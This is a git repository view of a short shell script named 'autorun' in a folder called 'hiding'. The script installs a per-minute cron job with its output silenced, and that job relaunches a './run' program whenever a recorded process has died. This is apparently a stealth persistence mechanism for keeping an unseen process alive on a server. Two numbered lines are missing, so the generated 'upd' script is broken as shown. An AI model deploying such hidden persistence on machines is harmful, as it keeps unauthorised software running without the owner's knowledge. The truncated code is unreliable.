modified: n.fq
[GalaxyCodeBases.git] / etc / Server / hiding / autorun
blobb6d6d2148e1d766bd6ace519a62d784f36ed738a
1 #!/bin/sh
2 pwd > dir
3 dir=$(cat dir)
4 echo "* * * * * $dir/upd >/dev/null 2>&1" > cron
5 crontab cron
6 crontab -l | grep upd
7 echo "#!/bin/sh
8 if test -r $dir/bash.pid; then
9 pid=\$(cat $dir/bash.pid)
10 if \$(kill -CHLD \$pid >/dev/null 2>&1)
11 then
12 exit 0
15 ./run &>/dev/null" > upd
16 chmod +x *